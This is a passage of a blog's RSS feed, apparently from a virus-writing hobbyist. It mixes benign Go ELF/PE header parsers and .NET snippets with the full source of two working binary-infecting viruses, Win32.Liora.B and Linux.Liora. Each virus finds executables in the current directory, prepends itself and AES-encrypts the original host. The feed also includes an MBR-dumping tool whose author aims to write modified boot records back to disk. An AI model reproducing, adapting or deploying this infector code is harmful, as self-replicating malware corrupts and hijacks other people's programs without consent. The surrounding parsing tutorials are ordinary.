package main import ( &amp;#34;fmt&amp;#34; &amp;#34;io&amp;#34; &amp;#34;os&amp;#34; &amp;#34;debug/elf&amp;#34; ) func check(e error) { if e != nil { panic(e) } } func ioReader(file string) io.ReaderAt { r, err := os.Open(file) check(err) return r } func main() { if len(os.Args) &amp;lt; 2 { fmt.Println(&amp;#34;Usage: elftest elf_file&amp;#34;) os.Exit(1) } f := ioReader(os.Args[1]) _elf, err := elf.NewFile(f) check(err) // Read and decode ELF identifier 	var ident [16]uint8 f.ReadAt(ident[0:], 0) check(err) if ident[0] != &amp;#39;\x7f&amp;#39; || ident[1] != &amp;#39;E&amp;#39; || ident[2] != &amp;#39;L&amp;#39; || ident[3] != &amp;#39;F&amp;#39; { fmt.Printf(&amp;#34;Bad magic number at %d\n&amp;#34;, ident[0:4]) os.Exit(1) } var arch string switch _elf.Class.String() { case &amp;#34;ELFCLASS64&amp;#34;: arch = &amp;#34;64 bits&amp;#34; case &amp;#34;ELFCLASS32&amp;#34;: arch = &amp;#34;32 bits&amp;#34; } var mach string switch _elf.Machine.String() { case &amp;#34;EM_AARCH64&amp;#34;: mach = &amp;#34;ARM64&amp;#34; case &amp;#34;EM_386&amp;#34;: mach = &amp;#34;x86&amp;#34; case &amp;#34;EM_X86_64&amp;#34;: mach = &amp;#34;x86_64&amp;#34; } fmt.Printf(&amp;#34;File Header: &amp;#34;) fmt.Println(_elf.FileHeader) fmt.Printf(&amp;#34;ELF Class: %s\n&amp;#34;, arch) fmt.Printf(&amp;#34;Machine: %s\n&amp;#34;, mach) fmt.Printf(&amp;#34;ELF Type: %s\n&amp;#34;, _elf.Type) fmt.Printf(&amp;#34;ELF Data: %s\n&amp;#34;, _elf.Data) fmt.Printf(&amp;#34;Entry Point: %d\n&amp;#34;, _elf.Entry) fmt.Printf(&amp;#34;Section Addresses: %d\n&amp;#34;, _elf.Sections) } Compile with: go build -i elftest.go
Usage: ./elftest file-to-analyze
The expected output will be something like this:
 File Header: {ELFCLASS64 ELFDATA2LSB EV_CURRENT ELFOSABI_NONE 0 LittleEndian ET_EXEC EM_X86_64 4200880}
ELF Class: 64 bits
Machine: x86-64
ELF Type: ET_EXEC
ELF Data: ELFDATA2LSB
Entry Point: 4200880
Section Addresses: [826814817600 826814817696 826814817792 826814817888 826814817984 826814818080 826814818176]
 That&amp;rsquo;s it. Simple enough!
Cheers
]]></content:encoded>
    </item>
    <item>
      <title>Having fun with PE files and GoLang</title>
      <link>https://www.guitmz.com/having-fun-with-pe-files-and-golang/</link>
      <pubDate>Fri, 15 May 2015 15:03:27 UT</pubDate>
      <dc:creator>Guilherme Thomazi</dc:creator>
      <guid>https://www.guitmz.com/having-fun-with-pe-files-and-golang/</guid>
      <description>New blog design, new post.
Today I will show how GoLang interacts with PE files in a generic example. You could look further into the native module here or even check its source code here. I do recommend reading it, I am using some bits of code extracted directly from the module source.
Here you go.
package main import ( &amp;#34;fmt&amp;#34; &amp;#34;debug/pe&amp;#34; &amp;#34;os&amp;#34; &amp;#34;io&amp;#34; &amp;#34;encoding/binary&amp;#34; ) func check(e error) { if e !</description>
      <content:encoded><![CDATA[New blog design, new post.
Today I will show how GoLang interacts with PE files in a generic example. You could look further into the native module here or even check its source code here. I do recommend reading it, I am using some bits of code extracted directly from the module source.
Here you go.
package main import ( &amp;#34;fmt&amp;#34; &amp;#34;debug/pe&amp;#34; &amp;#34;os&amp;#34; &amp;#34;io&amp;#34; &amp;#34;encoding/binary&amp;#34; ) func check(e error) { if e != nil { panic(e) } } func ioReader(file string) io.ReaderAt { r, err := os.Open(file) check(err) return r } func main() { if len(os.Args) &amp;lt; 2 { fmt.Println(&amp;#34;Usage: petest pe_file&amp;#34;) os.Exit(1) } file := ioReader(os.Args[1]) f, err := pe.NewFile(file) check(err) var sizeofOptionalHeader32 = uint16(binary.Size(pe.OptionalHeader32{})) var sizeofOptionalHeader64 = uint16(binary.Size(pe.OptionalHeader64{})) var dosheader [96]byte	var sign [4]byte file.ReadAt(dosheader[0:], 0) var base int64 if dosheader[0] == &amp;#39;M&amp;#39; &amp;amp;&amp;amp; dosheader[1] == &amp;#39;Z&amp;#39; { signoff := int64(binary.LittleEndian.Uint32(dosheader[0x3c:])) //var sign [4]byte 	file.ReadAt(sign[:], signoff) if !(sign[0] == &amp;#39;P&amp;#39; &amp;amp;&amp;amp; sign[1] == &amp;#39;E&amp;#39; &amp;amp;&amp;amp; sign[2] == 0 &amp;amp;&amp;amp; sign[3] == 0) { fmt.Printf(&amp;#34;Invalid PE File Format.\n&amp;#34;) } base = signoff &#43; 4 } else { base = int64(0) } sr := io.NewSectionReader(file, 0, 1&amp;lt;&amp;lt;63-1) sr.Seek(base, os.SEEK_SET) binary.Read(sr, binary.LittleEndian, &amp;amp;f.FileHeader) var oh32 pe.OptionalHeader32 var oh64 pe.OptionalHeader64 var x86_x64 string var magicNumber uint16 switch f.FileHeader.SizeOfOptionalHeader { case sizeofOptionalHeader32: binary.Read(sr, binary.LittleEndian, &amp;amp;oh32) if oh32.Magic != 0x10b { // PE32 	fmt.Printf(&amp;#34;pe32 optional header has unexpected Magic of 0x%x&amp;#34;, oh32.Magic) } magicNumber = oh32.Magic x86_x64 = &amp;#34;x86&amp;#34; case sizeofOptionalHeader64: binary.Read(sr, binary.LittleEndian, &amp;amp;oh64) if oh64.Magic != 0x20b { // PE32&#43; 	fmt.Printf(&amp;#34;pe32&#43; optional header has unexpected Magic of 0x%x&amp;#34;, oh64.Magic) } magicNumber = oh64.Magic x86_x64 = &amp;#34;x64&amp;#34; } var isDLL bool if (f.Characteristics &amp;amp; 0x2000) == 0x2000 { isDLL = true } else if (f.Characteristics &amp;amp; 0x2000) != 0x2000 { isDLL = false } var isSYS bool if (f.Characteristics &amp;amp; 0x1000) == 0x1000 { isSYS = true } else if (f.Characteristics &amp;amp; 0x1000) != 0x1000 { isSYS = false } f.Close() //close file handle 	fmt.Printf(&amp;#34;OptionalHeader: %#x\n&amp;#34;, f.OptionalHeader) fmt.Printf(&amp;#34;DLL File: %t\n&amp;#34;, isDLL) fmt.Printf(&amp;#34;SYS File: %t\n&amp;#34;, isSYS) fmt.Printf(&amp;#34;Base: %d\n&amp;#34;, base) fmt.Printf(&amp;#34;File type: %c%c\n&amp;#34;, sign[0],sign[1]) fmt.Printf(&amp;#34;dosheader[0]: %c\n&amp;#34;, dosheader[0]) fmt.Printf(&amp;#34;dosheader[1]: %c\n&amp;#34;, dosheader[1]) fmt.Printf(&amp;#34;MagicNumber: %#x (%s)\n&amp;#34;, magicNumber, x86_x64) } Compile with: go build -i pe_test.go
Usage: petest file-to-analyze.ext
The expected output will be something like this:
 OptionalHeader: &amp;amp;{0x20b 0xd7000 0x400 0x177200 0x10 c4000 0x9204}
DLL File: false
SYS File: false
Base: 252
File type: PE
dosheader[0]: M
dosheader[1]: Z
MagicNumber: 0x20b (x64)
 I am working on a similar post for ELF files too, should be up soon.
Cheers
]]></content:encoded>
    </item>
    <item>
      <title>Win32.Liora.B</title>
      <link>https://www.guitmz.com/win32-liora-b/</link>
      <pubDate>Fri, 15 May 2015 15:01:13 UT</pubDate>
      <dc:creator>Guilherme Thomazi</dc:creator>
      <guid>https://www.guitmz.com/win32-liora-b/</guid>
      <description>So I decided to port my Linux.Liora (https://github.com/guitmz/go-liora) Go infector to Win32 and it worked great. Minor tweaks were needed in the code, you can run a diff between both and check it out.
EDIT: Fixed the PE verification routine, it checks for a proper PE file now. Thanks hh86!
Virus source:
/* * Win32.Liora.B - This is a POC PE prepender written in Go by TMZ (2015). * * Win32.</description>
      <content:encoded><![CDATA[So I decided to port my Linux.Liora (https://github.com/guitmz/go-liora) Go infector to Win32 and it worked great. Minor tweaks were needed in the code, you can run a diff between both and check it out.
EDIT: Fixed the PE verification routine, it checks for a proper PE file now. Thanks hh86!
Virus source:
/* * Win32.Liora.B - This is a POC PE prepender written in Go by TMZ (2015). * * Win32.Liora.B (May 2015) - Simple binary infector in GoLang (prepender). * This version encrypts the host code with AES and decrypts it at runtime. * It&amp;#39;s almost a direct port from my GoLang ELF infector Linux.Liora, just a few tweaks. * * Compile with: go build -i liora_b.go (where go &amp;gt;= 1.4.2) * It has no external dependencies so it should compile under most systems (x86 and x86_64). * * Use at your own risk, I&amp;#39;m not responsible for any damages that this may cause. * * A big shout for those who keeps the scene alive: herm1t, alcopaul, SPTH, hh86, genetix, R3s1stanc3 and many others :) * * Feel free to email me: tmz@null.net || You can also find me at http://vxheaven.org/ and on Twitter @TMZvx * * http://vx.thomazi.me */ package main import ( &amp;#34;bufio&amp;#34; &amp;#34;io&amp;#34; &amp;#34;io/ioutil&amp;#34; &amp;#34;os&amp;#34; &amp;#34;os/exec&amp;#34; &amp;#34;strings&amp;#34; &amp;#34;crypto/aes&amp;#34; &amp;#34;crypto/cipher&amp;#34; &amp;#34;math/rand&amp;#34; &amp;#34;time&amp;#34; &amp;#34;debug/pe&amp;#34; &amp;#34;encoding/binary&amp;#34; ) func check(e error) { // Reading files requires checking most calls for errors.  // This helper will streamline our error checks below.  if e != nil { panic(e) } } func _ioReader(file string) io.ReaderAt { r, err := os.Open(file) check(err) return r } func CheckPE(file string) bool { r := _ioReader(file) //reader interface for file 	f, err := pe.NewFile(r) //open the file as a PE 	if err != nil { return false //Not a PE file 	} //Reading DOS header 	var dosheader [96]byte	r.ReadAt(dosheader[0:], 0) if dosheader[0] == &amp;#39;M&amp;#39; &amp;amp;&amp;amp; dosheader[1] == &amp;#39;Z&amp;#39; { //if we get MZ 	signoff := int64(binary.LittleEndian.Uint32(dosheader[0x3c:])) var sign [4]byte r.ReadAt(sign[:], signoff) if !(sign[0] == &amp;#39;P&amp;#39; &amp;amp;&amp;amp; sign[1] == &amp;#39;E&amp;#39; &amp;amp;&amp;amp; sign[2] == 0 &amp;amp;&amp;amp; sign[3] == 0) { //if not PE\0\0 	return false //Invalid PE File Format 	} }	if (f.Characteristics &amp;amp; 0x2000) == 0x2000 { //IMAGE_FILE_DLL signature 	return false //it&amp;#39;s a DLL, OCX, CPL file, we dont want that 	} f.Close() return true //all checks passed  } func CheckInfected(file string) bool { _mark := &amp;#34;=TMZ=&amp;#34; //infection mark  fi, err := os.Open(file) check(err) myStat, err := fi.Stat() check(err)	size := myStat.Size() buf := make([]byte, size) fi.Read(buf) fi.Close() var x int64 for x = 1; x &amp;lt; size; x&#43;&#43; { if buf[x] == _mark[0] { var y int64 for y = 1; y &amp;lt; int64(len(_mark)); y&#43;&#43; { if (x &#43; y) &amp;gt;= size { break } if buf[x &#43; y] != _mark[y] { break } } if y == int64(len(_mark)) { return true; //infected!  } } } return false; //not infected } func Infect(file string) { dat, err := ioutil.ReadFile(file) //read host 	check(err)	vir, err := os.Open(os.Args[0]) //read virus 	check(err) virbuf := make([]byte, 3039232) vir.Read(virbuf) encDat := Encrypt(dat) //encrypt host 	f, err := os.OpenFile(file, os.O_RDWR, 0666) //open host  check(err) w := bufio.NewWriter(f) w.Write(virbuf) //write virus 	w.Write(encDat) //write encypted host 	w.Flush() //make sure we are all set 	f.Close() vir.Close() } func RunHost() { hostbytes := Rnd(8) &#43; &amp;#34;.exe&amp;#34; //generate random name 	h, err := os.Create(hostbytes) //create tmp with above name (same folder) 	check(err) allSZ := GetSz(os.Args[0]) //get size of myself 	//allSZ := len(infected_data) //get file full size 	hostSZ := allSZ - 3039232 //calculate host size 	f, err := os.Open(os.Args[0]) //open host  check(err) f.Seek(3039232, os.SEEK_SET) //go to host start 	hostBuf := make([]byte, hostSZ) f.Read(hostBuf) //read it until hostBuf size  plainHost := Decrypt(hostBuf) //decrypt host  w := bufio.NewWriter(h) w.Write(plainHost) //write plain host to tmp file 	w.Flush() //make sure we are all set 	h.Close() f.Close() os.Chmod(hostbytes, 0755) //give it proper permissions  if len(os.Args) &amp;gt; 1 { cmd := exec.Command(hostbytes, os.Args[1]) //create the command 	cmd.Start() //execute it 	err = cmd.Wait() //wait process to finish 	} else { cmd := exec.Command(hostbytes) //create the command w/o args 	cmd.Start() //execute it 	err = cmd.Wait() //wait process to finish 	} os.Remove(hostbytes) //delete tmp file } func Encrypt(toEnc []byte) []byte { key := &amp;#34;SUPER_SECRET_KEY&amp;#34; // 16 bytes!  block,err := aes.NewCipher([]byte(key)) check(err) // 16 bytes for AES-128, 24 bytes for AES-192, 32 bytes for AES-256  ciphertext := []byte(&amp;#34;ASUPER_SECRET_IV&amp;#34;) iv := ciphertext[:aes.BlockSize] // const BlockSize = 16 	encrypter := cipher.NewCFBEncrypter(block, iv) encrypted := make([]byte, len(toEnc)) encrypter.XORKeyStream(encrypted, toEnc) //fmt.Printf(&amp;#34;%s encrypted to %v\n&amp;#34;, toEnc, encrypted)  return encrypted } func Decrypt(toDec []byte) []byte { key := &amp;#34;SUPER_SECRET_KEY&amp;#34; // 16 bytes  block,err := aes.NewCipher([]byte(key)) check(err) // 16 bytes for AES-128, 24 bytes for AES-192, 32 bytes for AES-256  ciphertext := []byte(&amp;#34;ASUPER_SECRET_IV&amp;#34;) iv := ciphertext[:aes.BlockSize] // const BlockSize = 16 	decrypter := cipher.NewCFBDecrypter(block, iv) // simple  decrypted := make([]byte, len(toDec)) decrypter.XORKeyStream(decrypted, toDec) return decrypted } func Rnd(n int) string { rand.Seed(time.Now().UTC().UnixNano()) var letters = []rune(&amp;#34;abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ&amp;#34;) b := make([]rune, n) for i := range b { b[i] = letters[rand.Intn(len(letters))] } return string(b) } func GetSz(file string) int64 { myHnd, err := os.Open(file) check(err) defer myHnd.Close() myStat, err := myHnd.Stat() check(err) mySZ := myStat.Size() myHnd.Close() return mySZ } func main() { virPath := os.Args[0] files, _ := ioutil.ReadDir(&amp;#34;.&amp;#34;) for _, f := range files { if CheckPE(f.Name()) == true { if CheckInfected(f.Name()) == false { if !strings.Contains(virPath, f.Name()) { Infect(f.Name()) }	}	} } if GetSz(os.Args[0]) &amp;gt; 3039232 { RunHost() } else { os.Exit(0) } } More to come soon.
TMZ
]]></content:encoded>
    </item>
    <item>
      <title>Linux.Liora: a Go virus</title>
      <link>https://www.guitmz.com/linux-liora/</link>
      <pubDate>Fri, 15 May 2015 14:54:23 UT</pubDate>
      <dc:creator>Guilherme Thomazi</dc:creator>
      <guid>https://www.guitmz.com/linux-liora/</guid>
      <description>So this guy asks me in a job interview last week &amp;ldquo;Have you ever developed in Go?&amp;rdquo; and well what&amp;rsquo;s best to learn a language than writting a prepender (probably a lot of things but don&amp;rsquo;t kill my thrill)?
There you have it, the probably first ever binary infector written in GoLang (SPTH LIP hxxp://spth.virii.lu/LIP.html &amp;ldquo;outdately&amp;rdquo; confirms that - replace hxxp with http, this website is wrongly classified as malicious for some security tools).</description>
      <content:encoded><![CDATA[So this guy asks me in a job interview last week &amp;ldquo;Have you ever developed in Go?&amp;rdquo; and well what&amp;rsquo;s best to learn a language than writting a prepender (probably a lot of things but don&amp;rsquo;t kill my thrill)?
There you have it, the probably first ever binary infector written in GoLang (SPTH LIP hxxp://spth.virii.lu/LIP.html &amp;ldquo;outdately&amp;rdquo; confirms that - replace hxxp with http, this website is wrongly classified as malicious for some security tools).
Basically a port from my Linux.Zariche &amp;lsquo;cause my life is in a hurry. I need some time in now to improve those beauties.
Here&amp;rsquo;s the virus source code (also available in my GitHub with further files and instructions):
/* * Linux.Liora - This is a POC ELF prepender written in Go by TMZ (2015). * It is probably the first binary infector ever written in this language, that&amp;#39;s cool. * The above affirmation is based on SPTH LIP page: http://spth.virii.lu/LIP.html * * Linux.Liora (May 2015) - Simple binary infector in GoLang (prepender). * This version encrypts the host code with AES and decrypts it at runtime. * It&amp;#39;s almost a direct port from my Vala infector Linux.Zariche.B. * * Compile with: go build -i liora.go (where go &amp;gt;= 1.4.2) * It has no external dependencies so it should compile under most systems (x86 and x86_64). * It&amp;#39;s also possible to easly adapt it to be a PE infector and compile under Windows. * * Use at your own risk, I&amp;#39;m not responsible for any damages that this may cause. * * A shout for those who keeps the scene alive: herm1t, alcopaul, hh86, SPTH, genetix, R3s1stanc3 &amp;amp; others * * Feel free to email me: tmz@null.net || You can also find me at http://vxheaven.org/ and on Twitter @TMZvx * * http://vx.thomazi.me */ package main import ( &amp;#34;bufio&amp;#34; &amp;#34;io/ioutil&amp;#34; &amp;#34;os&amp;#34; &amp;#34;os/exec&amp;#34; &amp;#34;strings&amp;#34; &amp;#34;crypto/aes&amp;#34; &amp;#34;crypto/cipher&amp;#34; &amp;#34;math/rand&amp;#34; &amp;#34;time&amp;#34; ) func check(e error) { // Reading files requires checking most calls for errors.  // This helper will streamline our error checks below.  if e != nil { panic(e) } } func CheckELF(file string) bool { f, err := os.Open(file) check(err) bytes := make([]byte, 4) //read the magic number  f.Read(bytes) f.Close() //check if is an ELF  if strings.Contains(string(bytes), &amp;#34;ELF&amp;#34;){ return true } else { return false } } func CheckInfected(file string) bool { _mark := &amp;#34;=TMZ=&amp;#34; //infection mark  fi, err := os.Open(file) check(err) myStat, err := fi.Stat() check(err)	size := myStat.Size() buf := make([]byte, size) fi.Read(buf) fi.Close() var x int64 for x = 1; x &amp;lt; size; x&#43;&#43; { if buf[x] == _mark[0] { var y int64 for y = 1; y &amp;lt; int64(len(_mark)); y&#43;&#43; { if (x &#43; y) &amp;gt;= size { break } if buf[x &#43; y] != _mark[y] { break } } if y == int64(len(_mark)) { return true; //infected!  } } } return false; //not infected  } func Infect(file string) { dat, err := ioutil.ReadFile(file) //read host 	check(err)	vir, err := os.Open(os.Args[0]) //read virus 	check(err) virbuf := make([]byte, 1666208) vir.Read(virbuf) encDat := Encrypt(dat) //encrypt host 	f, err := os.OpenFile(file, os.O_RDWR, 0666) //open host 	check(err) w := bufio.NewWriter(f) w.Write(virbuf) //write virus 	w.Write(encDat) //write encypted host 	w.Flush() //make sure we are all set 	f.Close() vir.Close() } func RunHost() { hostbytes := &amp;#34;.&amp;#34; &#43; Rnd(8) //generate hidden random name  h, err := os.Create(hostbytes) //create tmp with above name  check(err) infected_data, err := ioutil.ReadFile(os.Args[0]) //Read myself  check(err) allSZ := len(infected_data) //get file full size  hostSZ := allSZ - 1666208 //calculate host size  f, err := os.Open(os.Args[0]) //open host  check(err) f.Seek(1666208, os.SEEK_SET) //go to host start  hostBuf := make([]byte, hostSZ) f.Read(hostBuf) //read it  plainHost := Decrypt(hostBuf) //decrypt host  w := bufio.NewWriter(h) w.Write(plainHost) //write plain host to tmp file  w.Flush() //make sure we are all set  h.Close() f.Close() os.Chmod(hostbytes, 0755) //give it proper permissions  out, err := exec.Command(&amp;#34;./&amp;#34; &#43; hostbytes).Output() check(err) print(string(out)) os.Remove(hostbytes) } func Encrypt(toEnc []byte) []byte { key := &amp;#34;SUPER_SECRET_KEY&amp;#34; // 16 bytes!  block,err := aes.NewCipher([]byte(key)) check(err) // 16 bytes for AES-128, 24 bytes for AES-192, 32 bytes for AES-256  ciphertext := []byte(&amp;#34;ASUPER_SECRET_IV&amp;#34;) iv := ciphertext[:aes.BlockSize] // const BlockSize = 16  encrypter := cipher.NewCFBEncrypter(block, iv) encrypted := make([]byte, len(toEnc)) encrypter.XORKeyStream(encrypted, toEnc) //fmt.Printf(&amp;#34;%s encrypted to %v\n&amp;#34;, toEnc, encrypted)  return encrypted } func Decrypt(toDec []byte) []byte { key := &amp;#34;SUPER_SECRET_KEY&amp;#34; // 16 bytes  block,err := aes.NewCipher([]byte(key)) check(err) // 16 bytes for AES-128, 24 bytes for AES-192, 32 bytes for AES-256  ciphertext := []byte(&amp;#34;ASUPER_SECRET_IV&amp;#34;) iv := ciphertext[:aes.BlockSize] // const BlockSize = 16  decrypter := cipher.NewCFBDecrypter(block, iv) // simple  decrypted := make([]byte, len(toDec)) decrypter.XORKeyStream(decrypted, toDec) return decrypted } func Rnd(n int) string { rand.Seed(time.Now().UTC().UnixNano()) var letters = []rune(&amp;#34;abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ&amp;#34;) b := make([]rune, n) for i := range b { b[i] = letters[rand.Intn(len(letters))] } return string(b) } func GetSz(file string) int64 { myHnd, err := os.Open(file) check(err) defer myHnd.Close() myStat, err := myHnd.Stat() check(err) mySZ := myStat.Size() myHnd.Close() return mySZ } func main() { virPath := os.Args[0] files, _ := ioutil.ReadDir(&amp;#34;.&amp;#34;) for _, f := range files { if CheckELF(f.Name()) == true { if CheckInfected(f.Name()) == false { if !strings.Contains(virPath, f.Name()) { Infect(f.Name()) }	}	} } if GetSz(os.Args[0]) &amp;gt; 1666208 { RunHost() } else { os.Exit(0) } } Simple enough! Go is a quite fun language, I&amp;rsquo;ll keep it in mind for future projects.
TMZ
]]></content:encoded>
    </item>
    <item>
      <title>Dynamic API Calls in .NET</title>
      <link>https://www.guitmz.com/dynamic-api-calls-net/</link>
      <pubDate>Fri, 15 May 2015 04:47:28 UT</pubDate>
      <dc:creator>Guilherme Thomazi</dc:creator>
      <guid>https://www.guitmz.com/dynamic-api-calls-net/</guid>
      <description>Today I&amp;rsquo;m going to share a way to call APIs without DLLImport. I&amp;rsquo;ve first saw this years ago at OpenSC.ws as far as I remember and got into the idea. The code was lost since then but I found a copy.
Program.cs
using System; using System.Reflection; namespace APICaller { class Program { ``` public static void Main(string[] args) { Console.Title = &amp;#34;Dynamic API Caller&amp;#34;; Console.WriteLine(&amp;#34;Press any key to call your API!</description>
      <content:encoded><![CDATA[Today I&amp;rsquo;m going to share a way to call APIs without DLLImport. I&amp;rsquo;ve first saw this years ago at OpenSC.ws as far as I remember and got into the idea. The code was lost since then but I found a copy.
Program.cs
using System; using System.Reflection; namespace APICaller { class Program { ``` public static void Main(string[] args) { Console.Title = &amp;#34;Dynamic API Caller&amp;#34;; Console.WriteLine(&amp;#34;Press any key to call your API!&amp;#34;); Console.ReadKey(true); string className = MethodBase.GetCurrentMethod().DeclaringType.Name; //getting our current class name 	string asmName = Assembly.GetExecutingAssembly().FullName; //getting our current assembly name 	string methodName = MethodBase.GetCurrentMethod().Name; //getting our current method name 	//Sample with a simple MessageBox. You can adapt this call to whatever you need 	//(note that you should also adapt the class if needed) 	DynamicAPIs CreateDynamicAPI = new DynamicAPIs(&amp;#34;user32.dll&amp;#34;, &amp;#34;MessageBoxA&amp;#34;, asmName, methodName, className, typeof(int), new object[] { IntPtr.Zero, &amp;#34;Test Message&amp;#34;, &amp;#34;Test Title&amp;#34;, 0 });	Console.Write(&amp;#34;Press any key to exit . . . &amp;#34;); Console.ReadKey(true); } } ``` } And our mighty class.
DynamicAPIs.cs
using System; using System.Reflection; using System.Reflection.Emit; using System.Runtime.InteropServices; namespace APICaller { public class DynamicAPIs { private readonly string WinLib; private readonly string MethodName; private readonly string AssemblyName; private readonly string ModuleName; private readonly string ClassName; private readonly Type ReturnType; private readonly object[] Parameters; public DynamicAPIs(string wLib, string mName, string asmName, string modName, string cName, Type rType, object[] Params) { WinLib = wLib; MethodName = mName; AssemblyName = asmName; ModuleName = modName; ClassName = cName; ReturnType = rType; Parameters = Params; CreateDynamicAPI(); } private object CreateDynamicAPI() { ``` AssemblyBuilder ASMB = AppDomain.CurrentDomain.DefineDynamicAssembly(new AssemblyName(AssemblyName), AssemblyBuilderAccess.RunAndSave); ModuleBuilder MODB = ASMB.DefineDynamicModule(ModuleName); TypeBuilder TB = MODB.DefineType(ClassName, TypeAttributes.Public); Type[] ParameterTypes = new Type[Parameters.Length]; for (int i = 0; i &amp;amp;lt;= Parameters.Length - 1; i&#43;&#43;) { ParameterTypes[i] = Parameters[i].GetType(); } MethodBuilder MB = TB.DefinePInvokeMethod(MethodName, WinLib, MethodAttributes.Public | MethodAttributes.Static | MethodAttributes.PinvokeImpl, CallingConventions.Standard, ReturnType, ParameterTypes, CallingConvention.Winapi, CharSet.Ansi); MB.SetImplementationFlags(MB.GetMethodImplementationFlags() | MethodImplAttributes.PreserveSig); return TB.CreateType().GetMethod(MethodName).Invoke(null, Parameters); } } ``` } Yeah I need to work on this code tags hahaha they look awful.
Anyway, it works, if you need help understanding it, let me know :)
Running the program should give you a console window with a message box, like this.
TMZ
]]></content:encoded>
    </item>
    <item>
      <title>MBR Dump With .NET - Part 1</title>
      <link>https://www.guitmz.com/net-mbr-dump-part1/</link>
      <pubDate>Wed, 13 May 2015 08:47:38 UT</pubDate>
      <dc:creator>Guilherme Thomazi</dc:creator>
      <guid>https://www.guitmz.com/net-mbr-dump-part1/</guid>
      <description>Greetings. Years ago I was messing around with Windows MBR (VXHeaven thread) and got stuck while trying to write a modified copy back to the disk. I&amp;rsquo;m calling this &amp;ldquo;Part 1&amp;rdquo; because I&amp;rsquo;m still stuck at this and plan to get back on my research.
Anyways, it will be a short post, just to share where I was at that time.
using System; using System.Runtime.InteropServices; using Microsoft.Win32.SafeHandles; using System.IO; namespace MBR { class MainClass {[DllImport(&amp;#34;Kernel32.</description>
      <content:encoded><![CDATA[Greetings. Years ago I was messing around with Windows MBR (VXHeaven thread) and got stuck while trying to write a modified copy back to the disk. I&amp;rsquo;m calling this &amp;ldquo;Part 1&amp;rdquo; because I&amp;rsquo;m still stuck at this and plan to get back on my research.
Anyways, it will be a short post, just to share where I was at that time.
using System; using System.Runtime.InteropServices; using Microsoft.Win32.SafeHandles; using System.IO; namespace MBR { class MainClass {[DllImport(&amp;#34;Kernel32.dll&amp;#34;, SetLastError = true, CharSet = CharSet.Auto)] static extern uint SetFilePointer([In] SafeFileHandle hFile,[In] int lDistanceToMove,[Out] out int lpDistanceToMoveHigh,[In] EMoveMethod dwMoveMethod);[DllImport(&amp;#34;kernel32.dll&amp;#34;, SetLastError = true, CharSet = CharSet.Unicode)] static extern SafeFileHandle CreateFile(string lpFileName, uint dwDesiredAccess, uint dwShareMode, IntPtr lpSecurityAttributes, uint dwCreationDisposition, uint dwFlagsAndAttributes, IntPtr hTemplateFile);[DllImport(&amp;#34;kernel32&amp;#34;, SetLastError = true)] internal extern static int ReadFile(SafeFileHandle handle, byte[] bytes, int numBytesToRead, out int numBytesRead, IntPtr overlapped_MustBeZero); public enum EMoveMethod : uint { Begin = 0, Current = 1, End = 2 } public static void Main (string[] args) { Console.Title = &amp;#34;MBR Dumper&amp;#34;; Console.WriteLine (&amp;#34;Dump MBR to raw.bin? (Y or N)&amp;#34;); string ans = Console.ReadLine (); if (ans == &amp;#34;Y&amp;#34; || ans == &amp;#34;y&amp;#34;) { Console.WriteLine(&amp;#34;\nDumping...&amp;#34;); Dump (); Console.WriteLine(&amp;#34;Done!&amp;#34;); Console.ReadKey (true); } else { Environment.Exit (0); } } public static void Dump() { uint GENERIC_READ = 0x80000000; uint OPEN_EXISTING = 3; SafeFileHandle handleValue = CreateFile (@&amp;#34;\\.\PHYSICALDRIVE0&amp;#34;, GENERIC_READ, 0, IntPtr.Zero, OPEN_EXISTING, 0, IntPtr.Zero); if (handleValue.IsInvalid) { Marshal.ThrowExceptionForHR (Marshal.GetHRForLastWin32Error ()); } int offset = int.Parse (&amp;#34;0&amp;#34;, System.Globalization.NumberStyles.HexNumber); int size = int.Parse (&amp;#34;200&amp;#34;, System.Globalization.NumberStyles.HexNumber); byte[] buf = new byte[size]; int read = 0; int moveToHigh; SetFilePointer (handleValue, offset, out moveToHigh, EMoveMethod.Begin); ReadFile (handleValue, buf, size, out read, IntPtr.Zero); FileStream myStream = File.OpenWrite (&amp;#34;raw.bin&amp;#34;); myStream.Write (buf, 0, size); myStream.Flush (); myStream.Close (); handleValue.Close (); } } } That&amp;rsquo;s it, MBR will be dumped to &amp;ldquo;raw.bin&amp;rdquo; in your current application directory. You can open it with a text editor or even better, a hex editor and modify as you wish. I will keep my work on this and if I ever find a way to write it back to the disk (tried several things already, no luck), I will post a Part 2.
Feel free to contact me if you have any ideas on Twitter (@tmzvx) or email: tmz@null.net
TMZ
]]></content:encoded>
    </item>
    <item>
      <title>A Steganographic .NET Executable</title>
      <link>https://www.guitmz.com/a-steganographic-net-executable/</link>
      <pubDate>Tue, 14 Apr 2015 14:42:01 UT</pubDate>
      <dc:creator>Guilherme Thomazi</dc:creator>
      <guid>https://www.guitmz.com/a-steganographic-net-executable/</guid>
      <description>A while ago, alcopaul suggested a .NET executable that could store a secret message inside. While I did not followed his strict theory, I did wrote a working proof of concept, very basic and dirty but, well, it&amp;rsquo;s only a POC. Here we go (dirty code, do not judge me):
Our includes for this application.
using System; using System.Reflection; using System.IO; using System.Windows.Forms; using System.Security.Cryptography; I&amp;rsquo;ll now show you the methods I&amp;rsquo;m using here.</description>
      <content:encoded><![CDATA[A while ago, alcopaul suggested a .NET executable that could store a secret message inside. While I did not followed his strict theory, I did wrote a working proof of concept, very basic and dirty but, well, it&amp;rsquo;s only a POC. Here we go (dirty code, do not judge me):
Our includes for this application.
using System; using System.Reflection; using System.IO; using System.Windows.Forms; using System.Security.Cryptography; I&amp;rsquo;ll now show you the methods I&amp;rsquo;m using here.
